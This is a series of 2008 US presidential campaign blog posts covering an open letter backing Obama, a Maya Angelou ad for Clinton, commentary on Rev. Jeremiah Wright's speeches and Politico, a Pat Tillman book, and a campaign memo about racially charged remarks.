The simple fact is that Democrats need to be united in November to win, and Clinton supporters, in particular, will be vital to victory. We will not convince Clinton supporters to join the Obama campaign, however, by personally criticizing them. We must welcome everyone and avoid doing Republican work for them. It is therefore incumbent on all of us who once supported Senator Clinton to welcome the thousands who should now switch their support to Senator Obama. Similarly, a necessary part of the healing process for our Party is for those who supported Senator Obama early to have the grace and good sense to broaden the tent and welcome newcomers into the fold.

The old players of the old political game will claim that I am betraying my old friend Senator Evan Bayh by switching my support to Senator Obama. I believe that Evan Bayh would be a great President, and therefore a great Vice President. I will continue to argue that he would be a great choice to be on the ticket with Barack Obama. Evan Bayh is uniquely positioned as a successful governor with executive experience who is now a U.S. Senator with foreign policy experience and who is young enough to not undercut the message of vitality and hard work that Barack Obama represents. Part of healing the Party may be to have a Clinton supporter on the ticket, let alone someone who would help with Indiana, Ohio and the moderate Midwest in the general election.

Being for Evan Bayh, however, does not mean that you have to be for Hillary Clinton. The important message to Hoosiers, and to super delegates, is that being for someone does not mean that you agree 100 percent of the time. Regardless of whether Evan Bayh and I support different candidates, I will support Evan Bayh.

We must reject the notion that we have to beat the Republicans at their own game — or even that the game has to be played at all. It is so easy for all of us involved — candidates, campaigns and the media — to focus on the process and the horse race that we forget why we got into it in the first place. Barack Obama has had the courage to talk about real issues, real problems and real people. Let’s pause for a second in the midst of the cacophony of the campaign circus and listen.

In 1992, I was inspired by Bill Clinton because he promised, and delivered, a framework for addressing America’s problems. President Clinton ended a long-running left-right debate in our Party, and inspired millions. He drew giant crowds and spoke passionately for a generation of Americans who often disenfranchised and rarely participated in governing. Today, Barack Obama does the same thing. Winners redefine the game. Winners connect with the American people and not only feel their pain, but inspire them to take action to heal the underlying cause. Barack Obama is that kind of candidate and that kind of leader, which is why he will win in November.

Welcoming Everyone into the Party

We face significant challenges as a nation and as a Party, but time and again, Americans have shown the resilience and determination necessary to overcome even the highest obstacle. We have a difficult road ahead, but I have complete confidence that Barack Obama is the candidate who can lead our Party to victory and the President who can guide us to even greater heights.

Many Democrats know me for one short speech I gave over and over again in the 2000 Presidential campaign. That speech was about welcoming people into our Party and welcoming undecided voters to our campaign to elect Al Gore. Today, we need to welcome Clinton supporters, undecided voters, and all Americans to join Barack Obama’s cause to fight for a better America. My speech ended with these words, which are even more relevant today:

The difference between the Republican Party and the Democratic Party is that you are always welcome in the Democratic Party.

Because Democrats don’t care if you are black or white or brown or a nice shade of green, you are welcome in the Democratic Party.

We don’t care if you pray in a church or a synagogue or a temple or a mosque, or just before math tests, you are welcome in the Democratic Party.

We don’t care if you are young or old, or just don’t want to tell your age, you are welcome in the Democratic Party.

We don’t care what gender you are, or what gender you want to hold hands with; as long as you want to hold hands, you are welcome in the Democratic Party.

We don’t care about the size of your bank account, just the size of your heart; and we don’t care where you are today, just where you dream you want to be tomorrow.

That is your Democratic Party.

That is Barack Obama’s Democratic Party.

That is the Party that will win in November.

Sincerely,
Joe Andrew

The ad is released on the same day as Clinton inadvisedly bothered to say anything further about Rev. Jeremiah Wright, after going on Bill O’ Reilly’s show and inadvisedly not embarrassing the hell out of him.

Ms. Angelou, who has aged but done so in the dignified way that happiness overriding sadness brings says this in the ad:

Maya Angelou: Hillary Clinton is a prayer of every American who really longs for fair play.

Working men and women have had their jobs snatched from underneath them, their homes snatched away from them. And what we need, I think, is a person, a President who can make a difference in our country.

She intends to help our country become what it can become. She dares to say human beings are more alike than we are unalike.

I watched her become interested in public health and in education for all the children. And I watched her stand.

I have found the person I think would be the best president for the United States of America.

Hillary Clinton: I’m Hillary Clinton and I approved this message.

That’s a screenshot of the e-mail “breaking news” item that the Politico.com thought the world needed to see ASAP.

First of all, Obama’s said a variety of things, early on conflicting things, in regards to Rev. Wright. “Outraged” and appalled are just the latest. Second, this is why Politico.com has got on my nerves. People said when it launched that it was a new blog venture - emphasis on the blog - that it was a breakaway from the established media. I laughed at them, gently, because the people who joined were all the same people, with the same mindset toward reporting.

Politico never was not-established as could be seen by their writers still being invited all over the talk shows, and I believe they’ve at least co-sponsored a presidential debate with one of the cable channels.

I get a little creeped out reading the Politico because it’s completely inside baseball. It’s more opinion, though, admittedly with much better access.

They remain relevant because they do in fact break news. UM, but if this is going to be their idea of breaking news - what next an inside investigation about Jenna Bush’s wedding dress - then they’ve lost even that microfiber thin credibility for being useful.

I’m not aware of any etymological distinctions between the two phrases. their similarity is more interesting. I can’t figure out why the McCaniacs couldn’t come up with something more original and distinctive such as “McCain: Takes His One-A-Days” or “______”?

Wright promotes and has long promoted the life of victimization, with himself now as victim number one. “The media” has attacked him and been mean. He’s destined to become the next Jesse Jackson or Al Sharpton media star. Oh, and he’ll tell you he has a book coming out later this year.

It’s the spotlight and it will only shine as long as Wright keeps pulling it back to him, which is what he wants. From what he says now, there’s not anything he thinks he’s said or done wrong in his life. None of this means he has never done good and perhaps more good than anyone reading this. But he also has the position of doing much more harm than maybe anyone reading this and he has done both.

But now it’s all about Wright. He doesn’t realize, despite protestations that no one made him a polarizing figure. He is one. Everytime Wright opens his mouth, it seems he has a new metaphor that exists only to drive the black experience of the past as if it is the same experience today and people of all races should feel the same way now as they did then.

In his speech at the Detroit chapter of the NAACP Sunday evening, Wright spoke of differences among the races in simplistic terms. And Wright performed as a one-man vaudeville show. He danced, he thrusted, he shimmied. Wright sang opera, rhythm and blues, and lines from negro spirituals. He recited John F. Kennedy’s words in the voice of Mickey Mouse, in order to make a weak point about how only blacks are decried as deficient for speaking badly (President Bush anyone?) or in dialect. He mockingly repeated LBJ’s words immediately after JFK’s assassination as if that was only the experience of white people and not of all Americans. He did so to make the same point about speech.

Wright spoke in stereotypes through a flawed musical theory separating European music and African music. He said that blacks like a different tonality and a different meter in their music. As if African-Americans can’t like classical music or opera, as if blacks and whites and people of all colors aren’t mass consumers of all kinds of music, food, clothes and people.

Yes, living as a black person in America is still a different and difficult experience. You look at prison populations and unemployment and you see injustices. But it’s not only his parishioners who see this injustice. In a variety of ways, it is also a different and difficult experience living in America as a Latino or an Asian. it is also a different experience to live as a white person.

Sure it is different but Wright seeks to highlight and accentuate those differences rather than find common ground and what has improved for everyone in the last 50 years. Barack Obama has said Wright’s point of view is of the past and I have to agree.

Wright’s words at the pulpit - a place where people go to find understanding, become closer to God, and to develop a closer relationship with God - are far from sermonizing and aren’t defensible to many many people, of many races and backgrounds. Wright is on a big media blitz. He was on Bill Moyer’s Journal Friday (comment reaction was mixed). Yesterday he was speaking before the NAACP in what was billed as a presentation to defend the tradition of the black church. I’m not sure it needed any defending until Wright, however. And today he will speak at the National Press Club, though what is he going to say to them? There is much more than the five second loop as it was described by Bill Moyer. I have watched much more than that and there is much that is indefensible. And if it was, why were his videos stripped from YouTube by people who had been proud of Wright before his words gained a wider audience.

Wright even had to make himself the center of attention at the funeral of Judge R. Eugene Pincham. There, Wright felt the need to say he was just misunderstood by people on Fox News who will never get him or what he’s trying to say: “Sean Hannity’s stupid fantasy will keep him forever stuck on stupid when it comes to comprehending how you can love a brother who does not believe what you believe. [Pincham’s] faith was a faith in a God who loved the whole world not just one country or one creed.”

If Pincham’s family doesn’t mind though, I don’t mind what Wright says at his funeral. But it remains decidedly self-serving.

Listen to and watch Wright’s performance at the NAACP here, here, and here. Detroit Mayor Kwame Kilpatrick, who is morally deficient, not different, was in the audience, yucking it up.

Quotes from the NAACP “I’m Wright” show:

I am not a politician. I know that fact will surprise many of you because many of the corporate-owned media have made it seem like I have announced I am running for the Oval Office.

***

In the past, we were taught to see others who are different as deficient, and that anybody not like us was abnormal. But a change is coming because we no longer see others who are different as deficient; we just see them as different.

***

“The NAACP has been built on a primary premise: that all men and women are created equal. The nation’s oldest civil rights organization has changed America’s history despite violence, intimidation and hostile government policies. Somebody please tell the Oakland County executive [L. Brooks Patterson] that the sentence starting with the words ‘despite violence,’ is a direct quote from the NAACP. Otherwise, he will attribute the quote to me and continue to say that I’m one of the most divisive people he’s ever heard speak, when he’s never heard me speak

(How does he know Patterson hasn’t heard him speak?)

***

I’m sorry your local political analysts are saying I’m polarizing and my sermons are divisive. I’m not here to address an analyst’s opinion. I stand here as one representative of the African-American church tradition, believing that a change is going to come.

Wright has that book to sell, he repeated that at the NAACP event. And he will no doubt appear on Fox News to sell it.

The closer truth is that a change is going to come in spite of Wright, not because of him. There is a difference between passion, devotion, demagoguery, and showboating.

LATE UPDATE: This post got eaten and when I redid it I forgot one point. - The complaint and questioning that John McCain’s association with Hagee doesn’t receive nearly the same attention. That’s a valid point only with respect to the national media’s treatment of the issue. When it’s asked of other Democrats online, however, there is no point. Democrats don’t have to elect or consider electing McCain. They always expect Republican candidates to pander not only to religious leaders but to extreme religious leaders.

There’s a certain twist on the hypocrisy of people who say extreme religious leaders and their influence matter and is crucial when it’s a Republican but not when it’s Rev. Wright. That’s exactly parallel to John McCain lecturing everyone about lobbyists and their influence, but then surrounding himself with them and saying, I have too much integrity to be influenced. Who believes him?

Pat Tillman, is a great American hero story, a person who gave up millions as an NFL player to fight with the urge to protect his country. He was killed on the battlefield in Afghanistan by friendly fire to the head. This was not the original story told and the facts as they have come out have been heartbreaking. Army Ranger Tillman died April 21, 2004 under fire in total shock at what was happening - and shouting his own name to fellow shoulders.

It is an example of what does and can happen. it is one of 4,100 unfortunate deaths, but one that held a symbolic value as well as a mortal one.

Mary Tillman has learned a lot of lessons she probably never thought she would or likely wanted to learn since her son’s death. Her other son, Kevin, survived his own deployment.

Mary Tillman will release “Boots On The Ground by Dusk: My Tribute to Pat Tillman” on April 29 (368 pages, Modern Times.) co-written by Narda Zacchino, a former deputy editor at the San Francisco Chronicle, according to Stephen Baxter.

The title of the book refers to the order that caused the situation and troop movement that led to Tillman’s death.

Publisher’s Weekly described the pitfalls of writing a book so closely emotionally attached - obviously - to the subject when searching for answers:

“…Her suspicions aroused, his mother demanded answers, and the more she learned about the army’s inept handling of her son’s death, the more she was convinced that there was a conspiracy. Bereft, besieged by suspicions that the “administration orchestrated [Pat’s] death,” Tillman recounts her story bravely, but her obsession with fixing blame and her recourse to conspiracy theories compromises her credibility. The result is a troubling, uneven account that raises serious questions, but offers little in the way of insights or answers.”

Other Pat Tillman books include:

Dept. of Defense report: “2008 Fratricide and Friendly Fire, Joint Fires Coordination, Defense Department Documents, Pat Tillman Controversy” (CD-ROM)

“I’ve Got Things To Do With My Life: Pat Tillman And The Making Of An American Hero” by Mike Towle

“Fields of Honor: The Pat Tillman Story” by Jonathan Rand

“Pat Tillman (He Graduated Life With Honors And No Regrets)” by Rich Wolfe

The issue of what happened in South Carolina came up again this week when President Clinton brought up what he perceived as “the race card” played against him at the time, both before and after the state’s primary.

How they statements are perceived, of course, depends largely on what you want to believe in the first place, more than objectivity. The accuracy of the quotes might also need some further research.

Barack Obama later came out to condemn the memo’s tactics, but then so did John McCain earlier this week with an “attack” ad from the North Carolina GOP. It’s safe to day, it’s hard to detect sincerity in politicians.

TEXT of MEMO (4 pages, presumably a Web page or e-mail with mention of audio and video attachments) :::

Subject: MUST READ: Key S.C. figure takes issue with Clintons

SHUCK AND JIVE
Clinton Supporter Andrew Cuomo, Referring To Obama, Said “You Can’t Shuck And Jive At A Press Conference. All Those Moves You Can Make With The Press Don’t Work When You’re In Someone’s Living Room.” Clinton-supporting New York Attorney General Andrew Cuomo said the thing that’s great about New Hampshire is that you have to go out and meet people rather than “shuck and jive” through press conferences there. Cuomo said of New Hampshire on an Albany radio station: “It’s not a TV-crazed race. Frankly, you can’t buy your way into it. You can’t shuck and jive at a press conference. All those moves you can make with the press don’t work when you’re in someone’s living room.” [Newsday, 1/11/08]

MARTIN LUTHER KING / LYNDON JOHNSON COMPARISON
Clinton, Criticizing Obama For Promising “False Hope” Said That While MLK Jr. Spoke On Behalf Of Civil Rights, President Lyndon Johnson Was The One Who Got Legislation Passed: “It Took A President To Get It Done.” Clinton rejoined the running argument over hope and “false hope” in an interview in Dover this afternoon, reminding Fox’s Major Garrett that while Martin Luther King Jr. spoke on behalf of civil rights, President Lyndon Johnson was the one who got the legislation passed. … .. [Politico, 1/7/08; Video]

Clinton Introducer Said JFK Gave Hope, But Was Assassinated. Clinton introducer: “If you look back, some people have been comparing one of the other candidates to JFK and he was a wonderful leader, he gave us a lot of hope but he was assassinated and Lyndon Baines Johnson actually did all his work and got the republicans to pass all those measures.” [HRC, Dover, NH, 1/7/08] AUDIO ATTACHED

NELSON MANDELA
Bill Clinton Implied Hillary Clinton Is Stronger Than Nelson Mandela. “I have been blessed in my life to know some of the greatest figures of the last hundred years. […] I go to Nelson Mandela’s birthday party every year and we’re still very close. […] But if you said to me, ‘You’ve got one last job for your country but it’s hazardous and you may not get out with life and limb intact and you have to do it alone except I’ll let you take one other person, and I had to pick one person whom I knew who would never blink, who would never turn back, who would make great decisions […] I would pick Hillary.’” [ABC News, 1/7/08; Audio]

DRUG USE
Clinton’s NH Campaign Chair Raised The Youthful Drug Use Of Obama And Said It Would “Open The Door To Further Queries On The Matter.” Clinton’s Campaign Issued A Statement Distancing Themselves From Shaheen’s Comments And Shaheen Issued A Statement Saying That He “Deeply Regret[s] The Comments.” … .. “There are so many openings for Republican dirty tricks. … .. Clinton campaign spokesman Phil Singer had issued a statement asserting that “these comments were not authorized or condoned by the campaign in any way.” And Shaheen himself issued a statement: “I deeply regret the comments I made today and they were not authorized by the campaign in any way.” [ABC News, 12/12/07]

Mark Penn, In Trying To Defend His Campaign Over Bill Shaheen’s Obama Drug Use Comments, Used The Word “Cocaine,” Drawing A Rebuke From Edwards Adviser Joe Trippi. Mark Penn, defending the Clinton campaign in light of Bill Shaheen’s comments about Obama’s drug use, repeatedly referenced Obama’s cocaine use. Edwards adviser Joe Trippi accused Penn of dropping the word “cocaine” deliberately. Mark Penn said “Well, I think we have made clear that the — the issue related to cocaine use is not something that the campaign was in any way raising. And I think that has been made clear. I think this kindergarten thing was a joke after Senator.” Joe Trippie responded and said “I think he just did it again. He just did it again. … This guy’s been filibustering on this. He just said cocaine again.” [Politico, 12/13/07; Video]

FAIRY TALE
Donna Brazile Lashed Into Bill Clinton For Comparing Obama To A “Fairy Tale” And Said “It’s An Insult… As An African-American” And That His Tone And Words Are “Very Depressing.” Donna Brazile lit into Bill Clinton over his insulting comments of Obama, where he called him a “fairy tale” and said “I could understand his frustration at this moment. But, look, he shouldn’t take out all his pain on Barack Obama. It’s time that they regroup. Figure out what Hillary needs to do to get her campaign back on track. It sounds like sour grapes coming from the former commander in chief. Someone that many Democrats hold in high esteem. For him to go after Obama, using a fairy tale, calling him as he did last week. It’s an insult. And I will tell you, as an African-American, I find his tone and his words to be very depressing. … I think his tone, I think calling Barack Obama a kid, he is a United States senator.” [Politico, 1/8/08]

AMAYA SMITH
South Carolina Press Secretary
Obama for America
803 ***-**** x ***
cell: 803 ***-****”